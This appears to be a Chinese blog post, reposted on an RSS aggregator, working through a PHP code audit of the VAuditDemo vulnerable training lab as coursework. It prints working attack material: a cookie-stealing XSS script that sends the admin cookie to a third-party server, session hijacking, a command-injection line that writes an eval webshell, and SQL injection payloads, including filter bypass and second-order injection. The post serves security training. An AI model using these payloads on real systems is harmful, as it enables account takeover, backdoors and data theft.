惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

IT之家
IT之家
Microsoft Azure Blog
Microsoft Azure Blog
人人都是产品经理
人人都是产品经理
博客园 - 聂微东
博客园_首页
阮一峰的网络日志
阮一峰的网络日志
V
V2EX
小众软件
小众软件
F
Fortinet All Blogs
Microsoft Security Blog
Microsoft Security Blog
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
H
Hackread – Cybersecurity News, Data Breaches, AI and More
量子位
Google DeepMind News
Google DeepMind News
Jina AI
Jina AI
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
aimingoo的专栏
aimingoo的专栏
B
Blog RSS Feed
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
宝玉的分享
宝玉的分享
有赞技术团队
有赞技术团队
J
Java Code Geeks
WordPress大学
WordPress大学
The Cloudflare Blog

卷卷

今日说法 节目汇总笔记 《斯坦福大学人生设计课》读书笔记 我的书单📖 H-worm (VBS蠕虫) 感染事件溯源分析报告 AMOS (Atomic Stealer) 恶意软件深度分析 银狐26年全面复活,对抗强度或已超25年最高水平 Atomic Stealer (AMOS) 回归:ClickFix、伪装加密货币应用与新型 macOS 持久化机制 关于xt.exe的分析报告 仿真钓鱼页面窃取用户凭证 GitHub Pages配置Cloudflare CDN踩坑之路 推荐RSS热力图和Github热力图使用指南 学习逆向工程相关概念 zabbix快速上手 学习python高级语法特性例题笔记 学习云计算基本理论学习笔记 学习Docker-Compose命令及镜像构建与推送 ATT &CK 框架实践阅读笔记 rundll32.exe恶意加载DLL文件外联 《悉达多》读书笔记 《稀缺》读书笔记 《认知觉醒》读书笔记 《营养学》读书笔记 《心理学》读书笔记 热💖生活 C++开发环境配置与程序运行笔记 IDA Free调试Hello World笔记 逆向免杀 Admin.canway账号命名方式 BAS - Breach and Attack Simulation Windows核心系统进程链与svchost深度解析
PHP代码审计
卷卷 · 2023-09-18 · via 卷卷

PHP代码审计

靶场 VAuditDemo

安装漏洞

image

image

image

image

image

image

由此可发现,用户前端连接数据库的代码没有进行特殊字符过滤就传入文件操作。所以存在安装漏洞。

image

这条语句 dbname=ssss--- -";phpinfo();// 除了会出现在php页面,还会出现在SQL语句里,所以要在SQL语句里加SQL的注释,保证SQL语句正常执行,否则SQL执行时会因为 ";phpinfo();//的存在而报错,要把这部分给注释。

image

语句被带到数据库执行,若报错,install.php也会报错

image

image

image

image

命令执行漏洞

自动审计,发现命令执行漏洞。

image

溯源找到源码

image

验证其存在。

image

存储型XSS

1、XSS漏洞审计过程及思路,同时使用存储型XSS获取管理员cookie到第三方服务器中,利用cookie登录管理员账号,获取shell (ping.php)

image

image

image

代码审计之XSS

通过普通用户登录时抓包,在client-ip 中写payload。

image

当管理员打开用户管理界面时获取到cookie,实际情况应该将cookie发送到第三方服务器。但是引号’‘’总是被过滤

image

写入第三方服务器方法

在第三方服务器创建两个文件

image

image

//getcookie.js
let cookie = document.cookie
let last = '<img src="http://getcookie/getcookie.php?cookie='+cookie+'>'
document.write(last);
//getcookie.php
<?php  
$cookie = $_GET['cookie'];  
file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);  
?>

留言页面从client_ip获取ip时注入XSS,script代码执行。注意src可以不写”“。所以绕过’‘”的方法就是不写'"

image

script请求了第三方服务器的js文件,js代码执行将img标签写入页面,img渲染时请求,并将cookie以get方式携带出去。

image

在第三方服务器接收get请求,并将cookie值写入文件。

image

到此,管理员cookie被获取。

image

盗用cookie登录admin

PHPSESSID=b4nhbnmd455rv1cdfbap5dlig1

http://localhost/admin/manageUser.php

把浏览器cookie清空。

image

配置管理员cookie。当cookie不对时找不到。

image

使用正确的管理员cookie后进入管理员界面。

image

获取shell,利用ping里的命令执行。

image

xx || echo ^<?php @eval($_POST[cmd]); ?^> > ../shell.php
?、<、>等字符在cmd中有特殊含义,会被转义

使用上方命令写个后门。

image

image

Ant连接。

image

SQL注入

2、审计靶场中的SQL注入(不设上限,最少1个)

搜下和数据库连接相关文件。

image

在通过数据库查询数据库详细信息的messageDetail.php页面,查询参数通过sqlwaf过滤不严格导致sql注入。

image

http://localhost/messageDetail.php?id=7%20uni||on%20sele||ct%20database(),user(),version(),4#

image

二次注入

image

查看留言提交界面发现,数据仅用clean_message函数过滤。而在该函数里又调用mysql_real_escape_string​过滤。

代码审计sql

往下发现用户名从数据库得到,而用户名的过滤同样和message过滤函数一样,使用clean_input函数再调用mysql_real_escape_string​过滤。显然用户名过滤也不严格。

image通过查询留言的sql语句即可构造payload,然后再在用户名位置和留言位置构造相应语句即可实现注入。

image

注册用户,并用\转义掉一个’,后面#注释掉一个‘。

image

image

作业: 1、审计靶场内的任意文件读取漏洞,说明其思路和验证方式

任意文件读取漏洞

file_get_contents() 函数在文件操作中的主要作用是读取本地文件的内容

image

file_get_contents() 函数在文件操作中的主要作用是读取本地文件的内容

image

全局搜索session

image

转到logcheck.php

image

转到regcheck.php

image

转到updateavatar.php

image

转到$_FILE

image

转到is_pic()

image

UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'
UPDATE users SET user_avatar ='1.png',user_avatar='login.php' WHERE user_name='111' -- .jpg' WHERE user_id = '{$_SESSION['user_id']}'
#前面的1.png用于闭合单引号,再写一个user_avatar='login.php'用于覆盖前面的1.png,最后的-- 用于注释后面的语句,由于is_pic()要检查文件后缀,所以最后要带上.jpg

构造poayload发送

image

头像路径已被更改。

image

重新登录刷新后访问http://localhost/user/avatar.php,抓包查看。

image